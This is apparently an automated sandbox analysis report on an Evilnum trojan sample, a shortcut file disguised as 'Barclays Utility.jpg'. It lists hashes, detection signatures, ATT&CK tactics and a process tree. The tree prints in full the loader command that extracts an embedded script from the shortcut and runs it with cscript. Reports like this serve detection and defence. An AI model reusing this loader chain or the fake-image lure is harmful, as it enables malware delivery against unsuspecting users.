evilnum | 04f1fce5628ec0cff7f616a37d11bb7498974522e5400bb5a2059dd00e0d0100

Analysis

max time kernel
147s
max time network
145s
platform
windows7_x64
resource
win7-en-20211208
submitted
04-02-2022 08:41

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General

Target

Barclays Utility.jpg.lnk
Size

95KB
MD5

48e90ca0f344e1a0445936f2d28ae01f
SHA1

ee050a767eaa5227ed40d7a77b7746aea0554ae5
SHA256

18558a236e6dc15447c4683d38d4cd5c65331f2469b95b65342a1dcc5e4999fe
SHA512

2dc34d7e2afb5571bb473c6598315097298b53674321be629443f51c2b0b3dbecfe4b6bfe010801dc36f8e146fed2fd440ee67538bedf4fb0c44fd109d0dc0dc

Score

10^/10

evilnum trojan

Malware Config

Signatures

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum

Blocklisted process makes network request 13 IoCs

flow	pid	Process
3	1928	cscript.exe
6	1928	cscript.exe
7	1928	cscript.exe
9	1928	cscript.exe
10	1928	cscript.exe
11	1928	cscript.exe
12	1928	cscript.exe
13	1928	cscript.exe
15	1928	cscript.exe
16	1928	cscript.exe
19	1928	cscript.exe
20	1928	cscript.exe
21	1928	cscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1072	cmd.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 1072	1128	cmd.exe	28
PID 1128 wrote to memory of 1072	1128	cmd.exe	28
PID 1128 wrote to memory of 1072	1128	cmd.exe	28
PID 1072 wrote to memory of 1220	1072	cmd.exe	29
PID 1072 wrote to memory of 1220	1072	cmd.exe	29
PID 1072 wrote to memory of 1220	1072	cmd.exe	29
PID 1220 wrote to memory of 536	1220	forfiles.exe	30
PID 1220 wrote to memory of 536	1220	forfiles.exe	30
PID 1220 wrote to memory of 536	1220	forfiles.exe	30
PID 1220 wrote to memory of 956	1220	forfiles.exe	31
PID 1220 wrote to memory of 956	1220	forfiles.exe	31
PID 1220 wrote to memory of 956	1220	forfiles.exe	31
PID 1072 wrote to memory of 1696	1072	cmd.exe	32
PID 1072 wrote to memory of 1696	1072	cmd.exe	32
PID 1072 wrote to memory of 1696	1072	cmd.exe	32
PID 1072 wrote to memory of 1704	1072	cmd.exe	33
PID 1072 wrote to memory of 1704	1072	cmd.exe	33
PID 1072 wrote to memory of 1704	1072	cmd.exe	33
PID 1072 wrote to memory of 316	1072	cmd.exe	34
PID 1072 wrote to memory of 316	1072	cmd.exe	34
PID 1072 wrote to memory of 316	1072	cmd.exe	34
PID 1072 wrote to memory of 1876	1072	cmd.exe	35
PID 1072 wrote to memory of 1876	1072	cmd.exe	35
PID 1072 wrote to memory of 1876	1072	cmd.exe	35
PID 1876 wrote to memory of 1168	1876	cscript.exe	37
PID 1876 wrote to memory of 1168	1876	cscript.exe	37
PID 1876 wrote to memory of 1168	1876	cscript.exe	37
PID 1168 wrote to memory of 1928	1168	cscript.exe	39
PID 1168 wrote to memory of 1928	1168	cscript.exe	39
PID 1168 wrote to memory of 1928	1168	cscript.exe	39

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Barclays Utility.jpg.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Barclays Utility.jpg*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "RDE3">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1220
  - - C:\Windows\system32\cmd.exe
      /c move "C:\Users\Admin\AppData\Local\Temp\Barclays CC Back.jpg.lnk" C:\Users\Admin\AppData\Local\Temp\1.lnk
      4⤵
      PID:536
  - - C:\Windows\system32\cmd.exe
      /c move "C:\Users\Admin\AppData\Local\Temp\Barclays CC Front.jpg.lnk" C:\Users\Admin\AppData\Local\Temp\1.lnk
      4⤵
      PID:956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:1696
- - C:\Windows\system32\find.exe
    find "RDE3"
    3⤵
    PID:1704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:316
- - C:\Windows\system32\cscript.exe
    cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\System32\cscript.exe
      "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\MediaPlayer\MediaManager\media.js
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1168
    - - C:\Windows\System32\cscript.exe
        
        "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\reportapi.js
        5⤵
        Blocklisted process makes network request
        
        PID:1928

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1128-54-0x000007FEFC441000-0x000007FEFC443000-memory.dmp

Filesize
8KB

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